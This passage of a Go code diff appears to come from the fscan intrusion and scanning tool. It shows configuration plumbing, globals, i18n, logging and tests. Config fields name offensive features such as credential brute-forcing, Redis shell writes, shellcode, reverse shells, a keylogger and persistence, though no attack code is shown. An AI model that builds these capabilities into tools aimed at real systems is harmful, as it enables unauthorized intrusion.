t.Fatalf("normalizeMultiValueFlagArgs() = %#v, want %#v", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,255 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
/*
|
||||
flag_config.go - 命令行参数直接解析到Config
|
||||
|
||||
flag直接写入配置结构。
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// FlagVars - 命令行参数原始值
|
||||
// =============================================================================
|
||||
|
||||
// FlagVars 存储命令行解析的原始值
|
||||
// 某些字段需要类型转换(如 int64 秒 → time.Duration)
|
||||
type FlagVars struct {
|
||||
// 目标配置
|
||||
Host string
|
||||
ExcludeHosts string
|
||||
ExcludeHostsFile string
|
||||
Ports string
|
||||
ExcludePorts string
|
||||
HostsFile string
|
||||
PortsFile string
|
||||
|
||||
// 扫描控制
|
||||
ScanMode string
|
||||
ThreadNum int
|
||||
ThreadNumExplicit bool // 用户显式指定了 -t
|
||||
ModuleThreadNum int
|
||||
ModuleThreadNumExplicit bool
|
||||
TimeoutSec int64 // 秒,需转换为 time.Duration
|
||||
TimeoutExplicit bool
|
||||
GlobalTimeout int64
|
||||
DisablePing bool
|
||||
DisableTcpProbe bool
|
||||
LocalPlugin string
|
||||
AliveOnly bool
|
||||
DisableBrute bool
|
||||
MaxRetries int
|
||||
MaxRetriesExplicit bool
|
||||
|
||||
// 认证凭据
|
||||
Username string
|
||||
Password string
|
||||
AddUsers string
|
||||
AddPasswords string
|
||||
UsersFile string
|
||||
PasswordsFile string
|
||||
UserPassFile string
|
||||
HashFile string
|
||||
HashValue string
|
||||
Domain string
|
||||
SSHKeyPath string
|
||||
|
||||
// Web扫描
|
||||
TargetURL string
|
||||
URLsFile string
|
||||
Cookie string
|
||||
UserAgent string
|
||||
Accept string
|
||||
WebTimeout int64 // 秒
|
||||
MaxRedirects int
|
||||
HTTPProxy string
|
||||
Socks5Proxy string
|
||||
Iface string
|
||||
|
||||
// POC测试
|
||||
PocPath string
|
||||
PocName string
|
||||
PocFull bool
|
||||
DNSLog bool
|
||||
PocNum int
|
||||
PocNumExplicit bool
|
||||
DisablePocScan bool
|
||||
|
||||
// Redis利用
|
||||
RedisFile string
|
||||
RedisShell string
|
||||
RedisWritePath string
|
||||
RedisWriteContent string
|
||||
RedisWriteFile string
|
||||
DisableRedis bool
|
||||
|
||||
// 发包频率
|
||||
PacketRateLimit int64
|
||||
MaxPacketCount int64
|
||||
ICMPRate float64
|
||||
ICMPRateExplicit bool
|
||||
|
||||
// 输出控制
|
||||
Outputfile string
|
||||
OutputFormat string
|
||||
DisableSave bool
|
||||
Silent bool
|
||||
NoColor bool
|
||||
LogLevel string
|
||||
Debug bool
|
||||
DisableProgress bool
|
||||
PerfStats bool
|
||||
Language string
|
||||
|
||||
// 高级功能
|
||||
Shellcode string
|
||||
ReverseShellTarget string
|
||||
Socks5ProxyPort int
|
||||
ForwardShellPort int
|
||||
PersistenceTargetFile string
|
||||
WinPEFile string
|
||||
KeyloggerOutputFile string
|
||||
DownloadURL string
|
||||
DownloadSavePath string
|
||||
|
||||
// 帮助
|
||||
ShowHelp bool
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 全局 FlagVars 实例(仅在解析阶段使用)
|
||||
// =============================================================================
|
||||
|
||||
var flagVars = &FlagVars{}
|
||||
|
||||
// GetFlagVars 获取解析后的命令行参数(供 parse.go 等使用)
|
||||
func GetFlagVars() *FlagVars {
|
||||
return flagVars
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// BuildConfigFromFlags - 从 FlagVars 构建 Config
|
||||
// =============================================================================
|
||||
|
||||
// BuildConfigFromFlags 从命令行参数构建配置对象
|
||||
func BuildConfigFromFlags(fv *FlagVars) *Config {
|
||||
return &Config{
|
||||
// 高频字段
|
||||
Timeout: time.Duration(fv.TimeoutSec) * time.Second,
|
||||
TimeoutExplicit: fv.TimeoutExplicit,
|
||||
ThreadNum: fv.ThreadNum,
|
||||
ThreadNumExplicit: fv.ThreadNumExplicit,
|
||||
ModuleThreadNum: fv.ModuleThreadNum,
|
||||
ModuleThreadNumExplicit: fv.ModuleThreadNumExplicit,
|
||||
DisableBrute: fv.DisableBrute,
|
||||
DisablePing: fv.DisablePing,
|
||||
DisableTcpProbe: fv.DisableTcpProbe,
|
||||
|
||||
// 扫描模式
|
||||
Mode: fv.ScanMode,
|
||||
LocalMode: fv.LocalPlugin != "",
|
||||
LocalPlugin: fv.LocalPlugin,
|
||||
AliveOnly: fv.AliveOnly,
|
||||
MaxRetries: fv.MaxRetries,
|
||||
MaxRetriesExplicit: fv.MaxRetriesExplicit,
|
||||
|
||||
// 高级功能
|
||||
Shellcode: fv.Shellcode,
|
||||
LocalPluginsList: nil, // 后续解析
|
||||
DNSLog: fv.DNSLog,
|
||||
PersistenceTargetFile: fv.PersistenceTargetFile,
|
||||
WinPEFile: fv.WinPEFile,
|
||||
PortMap: clonePortMap(config.DefaultPortMap),
|
||||
DefaultMap: cloneStringSlice(config.DefaultProbeMap),
|
||||
|
||||
// 全局超时
|
||||
GlobalTimeout: time.Duration(fv.GlobalTimeout) * time.Second,
|
||||
|
||||
// SOCKS5代理端口
|
||||
Socks5ProxyPort: fv.Socks5ProxyPort,
|
||||
|
||||
// 分组配置
|
||||
Credentials: CredentialConfig{
|
||||
Username: fv.Username,
|
||||
Password: fv.Password,
|
||||
Domain: fv.Domain,
|
||||
Userdict: cloneStringSliceMap(config.DefaultUserDict),
|
||||
Passwords: cloneStringSlice(config.DefaultPasswords),
|
||||
UserPassPairs: nil, // 后续解析
|
||||
SSHKeyPath: fv.SSHKeyPath,
|
||||
},
|
||||
Network: NetworkConfig{
|
||||
HTTPProxy: fv.HTTPProxy,
|
||||
Socks5Proxy: fv.Socks5Proxy,
|
||||
Iface: fv.Iface,
|
||||
WebTimeout: time.Duration(fv.WebTimeout) * time.Second,
|
||||
MaxRedirects: fv.MaxRedirects,
|
||||
PacketRateLimit: fv.PacketRateLimit,
|
||||
MaxPacketCount: fv.MaxPacketCount,
|
||||
ICMPRate: fv.ICMPRate,
|
||||
ICMPRateExplicit: fv.ICMPRateExplicit,
|
||||
},
|
||||
Output: OutputConfig{
|
||||
File: fv.Outputfile,
|
||||
Format: fv.OutputFormat,
|
||||
DisableSave: fv.DisableSave,
|
||||
NoColor: fv.NoColor || !isStdoutTerminal(),
|
||||
Silent: fv.Silent,
|
||||
DisableProgress: fv.DisableProgress,
|
||||
ShowProgress: !fv.DisableProgress,
|
||||
LogLevel: fv.LogLevel,
|
||||
Language: fv.Language,
|
||||
PerfStats: fv.PerfStats,
|
||||
},
|
||||
POC: POCConfig{
|
||||
PocPath: fv.PocPath,
|
||||
PocName: fv.PocName,
|
||||
Full: fv.PocFull,
|
||||
Num: fv.PocNum,
|
||||
NumExplicit: fv.PocNumExplicit,
|
||||
Disabled: fv.DisablePocScan,
|
||||
},
|
||||
Redis: RedisConfig{
|
||||
Disabled: fv.DisableRedis,
|
||||
File: fv.RedisFile,
|
||||
Shell: fv.RedisShell,
|
||||
WritePath: fv.RedisWritePath,
|
||||
WriteContent: fv.RedisWriteContent,
|
||||
WriteFile: fv.RedisWriteFile,
|
||||
},
|
||||
HTTP: HTTPConfig{
|
||||
Cookie: fv.Cookie,
|
||||
UserAgent: defaultUserAgent(fv.UserAgent),
|
||||
Accept: fv.Accept,
|
||||
},
|
||||
LocalExploit: LocalExploitConfig{
|
||||
ReverseShellTarget: fv.ReverseShellTarget,
|
||||
ForwardShellPort: fv.ForwardShellPort,
|
||||
KeyloggerOutputFile: fv.KeyloggerOutputFile,
|
||||
DownloadURL: fv.DownloadURL,
|
||||
DownloadSavePath: fv.DownloadSavePath,
|
||||
},
|
||||
Target: TargetConfig{
|
||||
Ports: fv.Ports,
|
||||
ExcludePorts: fv.ExcludePorts,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func isStdoutTerminal() bool {
|
||||
return term.IsTerminal(int(os.Stdout.Fd()))
|
||||
}
|
||||
|
||||
// defaultUserAgent 用户未通过 -ua 指定时回退到默认 UA,避免发送空 User-Agent 被 WAF 识别
|
||||
func defaultUserAgent(ua string) string {
|
||||
if ua != "" {
|
||||
return ua
|
||||
}
|
||||
return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
||||
}
|
||||
+1163
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,9 @@
|
||||
//go:build web
|
||||
|
||||
package common
|
||||
|
||||
// WebMode Web版本始终为true
|
||||
const WebMode = true
|
||||
|
||||
// WebPort 不再使用,端口由 main_web.go 的 -port 参数控制
|
||||
var WebPort = 0
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build !web
|
||||
|
||||
package common
|
||||
|
||||
// WebMode 非Web版本永远为false
|
||||
var WebMode = false
|
||||
|
||||
// WebPort 非Web版本不使用
|
||||
var WebPort = 0
|
||||
@@ -0,0 +1,232 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
)
|
||||
|
||||
/*
|
||||
globals.go - 全局配置变量
|
||||
|
||||
运行时数据和必要的全局状态。
|
||||
命令行参数现通过 GetFlagVars() 访问,配置通过 GetGlobalConfig() 访问。
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 核心数据结构
|
||||
// =============================================================================
|
||||
|
||||
// HostInfo 主机信息结构 - 最核心的数据结构
|
||||
type HostInfo struct {
|
||||
Host string // 主机地址
|
||||
Port int // 端口号(单个端口)
|
||||
URL string // URL地址
|
||||
Info []string // 附加信息
|
||||
}
|
||||
|
||||
// Target 返回 host:port 格式字符串
|
||||
func (h *HostInfo) Target() string {
|
||||
host := h.Host
|
||||
if strings.HasPrefix(host, "[") && strings.HasSuffix(host, "]") {
|
||||
host = strings.TrimPrefix(strings.TrimSuffix(host, "]"), "[")
|
||||
}
|
||||
return net.JoinHostPort(host, strconv.Itoa(h.Port))
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 默认配置常量
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// DefaultThreadNum 默认线程数
|
||||
DefaultThreadNum = 600
|
||||
// DefaultTimeout 默认超时时间(秒)
|
||||
DefaultTimeout = 3
|
||||
// DefaultScanMode 默认扫描模式
|
||||
DefaultScanMode = "all"
|
||||
// DefaultLanguage 默认语言
|
||||
DefaultLanguage = "zh"
|
||||
// DefaultLogLevel 默认日志级别
|
||||
DefaultLogLevel = "base"
|
||||
)
|
||||
|
||||
// 日志级别常量
|
||||
const (
|
||||
LogLevelAll = "all"
|
||||
LogLevelError = "error"
|
||||
LogLevelBase = "base"
|
||||
LogLevelInfo = "info"
|
||||
LogLevelSuccess = "success"
|
||||
LogLevelDebug = "debug"
|
||||
LogLevelInfoSuccess = "info,success"
|
||||
LogLevelBaseInfoSuccess = "base,info,success"
|
||||
)
|
||||
|
||||
// 版本信息,通过 ldflags 注入
|
||||
var (
|
||||
version = "2.2.0-rc.1"
|
||||
commit = "unknown"
|
||||
date = "unknown"
|
||||
)
|
||||
|
||||
func GetVersion() string { return version }
|
||||
|
||||
// 运行时数据已迁移到Config对象中,使用GetGlobalConfig()访问
|
||||
|
||||
// Shell状态已迁移到State对象中,使用GetGlobalState()访问
|
||||
|
||||
// POC配置、输出控制、发包控制、初始化已迁移到Config/State对象中
|
||||
|
||||
// =============================================================================
|
||||
// 发包限制错误类型
|
||||
// =============================================================================
|
||||
|
||||
// 哨兵错误 - 用于 errors.Is 判断
|
||||
var (
|
||||
ErrMaxPacketReached = errors.New("max packet count reached")
|
||||
ErrPacketRateLimited = errors.New("packet rate limited")
|
||||
)
|
||||
|
||||
// PacketLimitError 发包限制错误(包含详情)
|
||||
type PacketLimitError struct {
|
||||
Sentinel error // ErrMaxPacketReached 或 ErrPacketRateLimited
|
||||
Limit int64
|
||||
Current int64
|
||||
}
|
||||
|
||||
func (e *PacketLimitError) Error() string {
|
||||
if e.Sentinel == ErrMaxPacketReached {
|
||||
return i18n.Tr("packet_limit_max_reached", e.Limit)
|
||||
}
|
||||
return i18n.Tr("packet_limit_rate_limited", e.Limit)
|
||||
}
|
||||
|
||||
func (e *PacketLimitError) Unwrap() error {
|
||||
return e.Sentinel
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 发包频率控制功能
|
||||
// =============================================================================
|
||||
|
||||
// CanSendPacketWith 检查是否可以发包 - 同时检查频率限制和总数限制
|
||||
// 返回值: (可以发包, 错误)
|
||||
func CanSendPacketWith(config *Config, state *State) (bool, error) {
|
||||
// 检查总数限制
|
||||
maxPacketCount := config.Network.MaxPacketCount
|
||||
if maxPacketCount > 0 {
|
||||
currentTotal := state.GetPacketCount()
|
||||
if currentTotal >= maxPacketCount {
|
||||
return false, &PacketLimitError{
|
||||
Sentinel: ErrMaxPacketReached,
|
||||
Limit: maxPacketCount,
|
||||
Current: currentTotal,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 检查频率限制
|
||||
return state.CheckAndIncrementPacketRate(config.Network.PacketRateLimit)
|
||||
}
|
||||
|
||||
// CanSendPacket 便捷API - 使用全局配置和状态
|
||||
// 内部调用 CanSendPacketWith,保持向后兼容(返回string)
|
||||
func CanSendPacket() (bool, string) {
|
||||
ok, err := CanSendPacketWith(GetGlobalConfig(), GetGlobalState())
|
||||
if err != nil {
|
||||
return ok, err.Error()
|
||||
}
|
||||
return ok, ""
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 全局 Config 和 State 实例(新架构)
|
||||
// =============================================================================
|
||||
|
||||
var (
|
||||
// globalConfig 全局配置实例(小写,不直接暴露)
|
||||
globalConfig *Config
|
||||
|
||||
// globalState 全局状态实例(小写,不直接暴露)
|
||||
globalState *State
|
||||
|
||||
// globalMu 保护全局变量的读写锁
|
||||
globalMu sync.RWMutex
|
||||
)
|
||||
|
||||
// GetGlobalConfig 获取全局配置实例(线程安全)
|
||||
// 使用读写锁保护,避免竞态条件
|
||||
func GetGlobalConfig() *Config {
|
||||
globalMu.RLock()
|
||||
cfg := globalConfig
|
||||
globalMu.RUnlock()
|
||||
|
||||
if cfg != nil {
|
||||
return cfg
|
||||
}
|
||||
|
||||
// 需要初始化,获取写锁
|
||||
globalMu.Lock()
|
||||
defer globalMu.Unlock()
|
||||
|
||||
// 双重检查,避免重复初始化
|
||||
if globalConfig == nil {
|
||||
globalConfig = NewConfig()
|
||||
}
|
||||
return globalConfig
|
||||
}
|
||||
|
||||
// SetGlobalConfig 设置全局配置实例(线程安全)
|
||||
func SetGlobalConfig(cfg *Config) {
|
||||
globalMu.Lock()
|
||||
globalConfig = cfg
|
||||
globalMu.Unlock()
|
||||
}
|
||||
|
||||
// GetGlobalState 获取全局状态实例(线程安全)
|
||||
// 使用读写锁保护,避免竞态条件
|
||||
func GetGlobalState() *State {
|
||||
globalMu.RLock()
|
||||
st := globalState
|
||||
globalMu.RUnlock()
|
||||
|
||||
if st != nil {
|
||||
return st
|
||||
}
|
||||
|
||||
// 需要初始化,获取写锁
|
||||
globalMu.Lock()
|
||||
defer globalMu.Unlock()
|
||||
|
||||
// 双重检查,避免重复初始化
|
||||
if globalState == nil {
|
||||
globalState = NewState()
|
||||
}
|
||||
return globalState
|
||||
}
|
||||
|
||||
// SetGlobalState 设置全局状态实例(线程安全)
|
||||
func SetGlobalState(state *State) {
|
||||
globalMu.Lock()
|
||||
globalState = state
|
||||
globalMu.Unlock()
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 字符串工具函数
|
||||
// =============================================================================
|
||||
|
||||
// ContainsAny 检查字符串是否包含任意一个子串
|
||||
func ContainsAny(s string, substrs ...string) bool {
|
||||
for _, substr := range substrs {
|
||||
if strings.Contains(s, substr) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestHostInfoTargetUsesBracketedIPv6(t *testing.T) {
|
||||
info := &HostInfo{Host: "2001:db8::1", Port: 443}
|
||||
if got, want := info.Target(), "[2001:db8::1]:443"; got != want {
|
||||
t.Fatalf("Target() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostInfoTargetDoesNotDoubleBracketIPv6(t *testing.T) {
|
||||
info := &HostInfo{Host: "[2001:db8::1]", Port: 443}
|
||||
if got, want := info.Target(), "[2001:db8::1]:443"; got != want {
|
||||
t.Fatalf("Target() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGlobalHelpersAndPacketLimitErrors(t *testing.T) {
|
||||
if GetVersion() == "" {
|
||||
t.Fatal("GetVersion returned empty string")
|
||||
}
|
||||
if !ContainsAny("hello fscan", "none", "scan") {
|
||||
t.Fatal("ContainsAny should find a matching substring")
|
||||
}
|
||||
if ContainsAny("hello fscan", "none", "missing") {
|
||||
t.Fatal("ContainsAny should return false when nothing matches")
|
||||
}
|
||||
|
||||
maxErr := &PacketLimitError{Sentinel: ErrMaxPacketReached, Limit: 5, Current: 5}
|
||||
if !errors.Is(maxErr, ErrMaxPacketReached) || !strings.Contains(maxErr.Error(), "5") {
|
||||
t.Fatalf("max packet error = %v", maxErr)
|
||||
}
|
||||
|
||||
rateErr := &PacketLimitError{Sentinel: ErrPacketRateLimited, Limit: 3, Current: 2}
|
||||
if !errors.Is(rateErr, ErrPacketRateLimited) || !strings.Contains(rateErr.Error(), "3") {
|
||||
t.Fatalf("rate limit error = %v", rateErr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCanSendPacketUsesGlobalConfigAndState(t *testing.T) {
|
||||
previousConfig := GetGlobalConfig()
|
||||
previousState := GetGlobalState()
|
||||
t.Cleanup(func() {
|
||||
SetGlobalConfig(previousConfig)
|
||||
SetGlobalState(previousState)
|
||||
})
|
||||
|
||||
cfg := NewConfig()
|
||||
cfg.Network.MaxPacketCount = 1
|
||||
state := NewState()
|
||||
state.IncrementPacketCount()
|
||||
SetGlobalConfig(cfg)
|
||||
SetGlobalState(state)
|
||||
|
||||
ok, reason := CanSendPacket()
|
||||
if ok {
|
||||
t.Fatal("CanSendPacket should reject when max packet count is reached")
|
||||
}
|
||||
if reason == "" {
|
||||
t.Fatal("CanSendPacket should return a rejection reason")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
package i18n
|
||||
|
||||
import "embed"
|
||||
|
||||
//go:embed locales/*.yaml
|
||||
var localeFS embed.FS
|
||||
@@ -0,0 +1,97 @@
|
||||
package i18n
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"sync"
|
||||
|
||||
"github.com/nicksnyder/go-i18n/v2/i18n"
|
||||
"golang.org/x/text/language"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
// 支持的语言常量
|
||||
const (
|
||||
LangZH = "zh"
|
||||
LangEN = "en"
|
||||
)
|
||||
|
||||
// 默认配置
|
||||
const (
|
||||
DefaultLanguage = LangZH
|
||||
FallbackLanguage = LangEN
|
||||
)
|
||||
|
||||
var (
|
||||
bundle *i18n.Bundle
|
||||
localizer *i18n.Localizer
|
||||
lang = DefaultLanguage
|
||||
mu sync.RWMutex
|
||||
)
|
||||
|
||||
func init() {
|
||||
bundle = i18n.NewBundle(language.Chinese)
|
||||
bundle.RegisterUnmarshalFunc("yaml", yaml.Unmarshal)
|
||||
|
||||
// 从embed加载翻译文件
|
||||
if _, err := bundle.LoadMessageFileFS(localeFS, "locales/zh.yaml"); err != nil {
|
||||
panic(fmt.Sprintf("failed to load zh.yaml: %v", err))
|
||||
}
|
||||
if _, err := bundle.LoadMessageFileFS(localeFS, "locales/en.yaml"); err != nil {
|
||||
panic(fmt.Sprintf("failed to load en.yaml: %v", err))
|
||||
}
|
||||
|
||||
localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
|
||||
}
|
||||
|
||||
// SetLanguage 设置当前语言
|
||||
func SetLanguage(l string) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
lang = l
|
||||
localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
|
||||
}
|
||||
|
||||
// GetLanguage returns the currently configured language.
|
||||
func GetLanguage() string {
|
||||
mu.RLock()
|
||||
defer mu.RUnlock()
|
||||
return lang
|
||||
}
|
||||
|
||||
// GetText 获取国际化文本(无参数)
|
||||
func GetText(key string) string {
|
||||
mu.RLock()
|
||||
loc := localizer
|
||||
mu.RUnlock()
|
||||
|
||||
msg, err := loc.Localize(&i18n.LocalizeConfig{
|
||||
MessageID: key,
|
||||
})
|
||||
if err != nil || msg == "" {
|
||||
return key
|
||||
}
|
||||
return msg
|
||||
}
|
||||
|
||||
// Tr 获取国际化文本并格式化(变参版本)
|
||||
// 参数按顺序映射为 {{.Arg1}}, {{.Arg2}}, ...
|
||||
func Tr(key string, args ...interface{}) string {
|
||||
mu.RLock()
|
||||
loc := localizer
|
||||
mu.RUnlock()
|
||||
|
||||
data := make(map[string]interface{}, len(args))
|
||||
for i, arg := range args {
|
||||
data["Arg"+strconv.Itoa(i+1)] = arg
|
||||
}
|
||||
|
||||
msg, err := loc.Localize(&i18n.LocalizeConfig{
|
||||
MessageID: key,
|
||||
TemplateData: data,
|
||||
})
|
||||
if err != nil || msg == "" {
|
||||
return key
|
||||
}
|
||||
return msg
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package i18n
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestLanguageLifecycleAndFallbacks(t *testing.T) {
|
||||
original := GetLanguage()
|
||||
t.Cleanup(func() { SetLanguage(original) })
|
||||
|
||||
SetLanguage(LangEN)
|
||||
if got := GetLanguage(); got != LangEN {
|
||||
t.Fatalf("language = %q, want %q", got, LangEN)
|
||||
}
|
||||
if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" {
|
||||
t.Fatalf("english text = %q, want translated text", got)
|
||||
}
|
||||
if got := Tr("debug_cpu_profile_started", "/tmp/profiles"); !strings.Contains(got, "/tmp/profiles") {
|
||||
t.Fatalf("formatted english text = %q, want path included", got)
|
||||
}
|
||||
|
||||
SetLanguage(LangZH)
|
||||
if got := GetLanguage(); got != LangZH {
|
||||
t.Fatalf("language = %q, want %q", got, LangZH)
|
||||
}
|
||||
if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" {
|
||||
t.Fatalf("chinese text = %q, want translated text", got)
|
||||
}
|
||||
|
||||
if got := GetText("missing_translation_key"); got != "missing_translation_key" {
|
||||
t.Fatalf("missing GetText = %q, want key", got)
|
||||
}
|
||||
if got := Tr("missing_translation_key", "ignored"); got != "missing_translation_key" {
|
||||
t.Fatalf("missing Tr = %q, want key", got)
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,94 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
)
|
||||
|
||||
/*
|
||||
initialize.go - 统一初始化入口
|
||||
|
||||
简化后的流程:
|
||||
命令行 → FlagVars → BuildConfig() → Config + State
|
||||
*/
|
||||
|
||||
// InitResult 初始化结果
|
||||
type InitResult struct {
|
||||
Config *Config
|
||||
State *State
|
||||
Info *HostInfo
|
||||
Session *ScanSession
|
||||
}
|
||||
|
||||
// Initialize 统一初始化函数
|
||||
// 封装 BuildConfig → InitOutput 流程
|
||||
func Initialize(info *HostInfo) (*InitResult, error) {
|
||||
// 1. 初始化日志系统
|
||||
InitLogger()
|
||||
|
||||
// 2. 从 FlagVars 构建 Config 和 State
|
||||
cfg, state, err := BuildConfig(GetFlagVars(), info)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("config_build_failed"), err)
|
||||
}
|
||||
|
||||
// 3. 设置全局实例
|
||||
SetGlobalConfig(cfg)
|
||||
SetGlobalState(state)
|
||||
|
||||
// 4. 初始化输出系统
|
||||
if err := InitOutput(); err != nil {
|
||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("output_init_failed"), err)
|
||||
}
|
||||
|
||||
session := NewScanSession(cfg, state, GetFlagVars())
|
||||
|
||||
return &InitResult{
|
||||
Config: cfg,
|
||||
State: state,
|
||||
Info: info,
|
||||
Session: session,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// ValidateExclusiveParams 验证互斥参数
|
||||
// 检查 -h、-u、-local 只能指定一个
|
||||
func ValidateExclusiveParams(info *HostInfo) error {
|
||||
paramCount := 0
|
||||
var activeParam string
|
||||
|
||||
fv := GetFlagVars()
|
||||
|
||||
if info.Host != "" {
|
||||
paramCount++
|
||||
activeParam = "-h"
|
||||
}
|
||||
if fv.TargetURL != "" {
|
||||
paramCount++
|
||||
if activeParam != "" {
|
||||
activeParam = i18n.Tr("param_join_and", activeParam, "-u")
|
||||
} else {
|
||||
activeParam = "-u"
|
||||
}
|
||||
}
|
||||
if fv.LocalPlugin != "" {
|
||||
paramCount++
|
||||
if activeParam != "" {
|
||||
activeParam = i18n.Tr("param_join_and", activeParam, "-local")
|
||||
} else {
|
||||
activeParam = "-local"
|
||||
}
|
||||
}
|
||||
|
||||
if paramCount > 1 {
|
||||
return fmt.Errorf("%s", i18n.Tr("param_exclusive", activeParam))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Cleanup 清理资源
|
||||
func Cleanup() error {
|
||||
return CloseOutput()
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestValidateExclusiveParams(t *testing.T) {
|
||||
previous := GetFlagVars()
|
||||
t.Cleanup(func() { flagVars = previous })
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
info *HostInfo
|
||||
flags *FlagVars
|
||||
wantErr string
|
||||
}{
|
||||
{name: "host only", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{}},
|
||||
{name: "url only", info: &HostInfo{}, flags: &FlagVars{TargetURL: "http://example.com"}},
|
||||
{name: "local only", info: &HostInfo{}, flags: &FlagVars{LocalPlugin: "sshkey"}},
|
||||
{name: "host and url conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com"}, wantErr: "-h"},
|
||||
{name: "host url local conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com", LocalPlugin: "sshkey"}, wantErr: "-local"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
flagVars = tt.flags
|
||||
err := ValidateExclusiveParams(tt.info)
|
||||
if tt.wantErr == "" {
|
||||
if err != nil {
|
||||
t.Fatalf("ValidateExclusiveParams error = %v", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
if err == nil || !strings.Contains(err.Error(), tt.wantErr) {
|
||||
t.Fatalf("ValidateExclusiveParams error = %v, want containing %q", err, tt.wantErr)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCleanupWithoutOutput(t *testing.T) {
|
||||
oldResultOutput := ResultOutput
|
||||
oldStdoutWriter := StdoutWriter
|
||||
t.Cleanup(func() {
|
||||
ResultOutput = oldResultOutput
|
||||
StdoutWriter = oldStdoutWriter
|
||||
})
|
||||
|
||||
ResultOutput = nil
|
||||
StdoutWriter = nil
|
||||
if err := Cleanup(); err != nil {
|
||||
t.Fatalf("Cleanup error = %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
package common
|
||||
|
||||
/*
|
||||
logger.go - 日志系统简化接口
|
||||
|
||||
提供统一的日志API,底层使用logging包实现。
|
||||
*/
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/logging"
|
||||
)
|
||||
|
||||
var (
|
||||
globalLogger *logging.Logger
|
||||
loggerOnce sync.Once
|
||||
loggerMu sync.Mutex
|
||||
silentLoggerRefs int
|
||||
)
|
||||
|
||||
func getGlobalLogger() *logging.Logger {
|
||||
loggerMu.Lock()
|
||||
defer loggerMu.Unlock()
|
||||
|
||||
loggerOnce.Do(func() {
|
||||
fv := GetFlagVars()
|
||||
level := getLogLevelFromString(fv.LogLevel)
|
||||
config := &logging.LoggerConfig{
|
||||
Level: level,
|
||||
EnableColor: !fv.NoColor,
|
||||
SlowOutput: false,
|
||||
ShowProgress: !fv.DisableProgress,
|
||||
Silent: fv.Silent || silentLoggerRefs > 0,
|
||||
StartTime: GetGlobalState().GetStartTime(),
|
||||
}
|
||||
if fv.Debug {
|
||||
config.DebugLogFile = "fscan_debug.log"
|
||||
}
|
||||
globalLogger = logging.NewLogger(config)
|
||||
globalLogger.SetCoordinatedOutput(LogWithProgress)
|
||||
})
|
||||
return globalLogger
|
||||
}
|
||||
|
||||
func getLogLevelFromString(levelStr string) logging.LogLevel {
|
||||
switch strings.ToLower(levelStr) {
|
||||
case "all":
|
||||
return logging.LevelAll
|
||||
case "error":
|
||||
return logging.LevelError
|
||||
case "base":
|
||||
return logging.LevelBase
|
||||
case "info":
|
||||
return logging.LevelInfo
|
||||
case "success":
|
||||
return logging.LevelSuccess
|
||||
case "debug":
|
||||
return logging.LevelDebug
|
||||
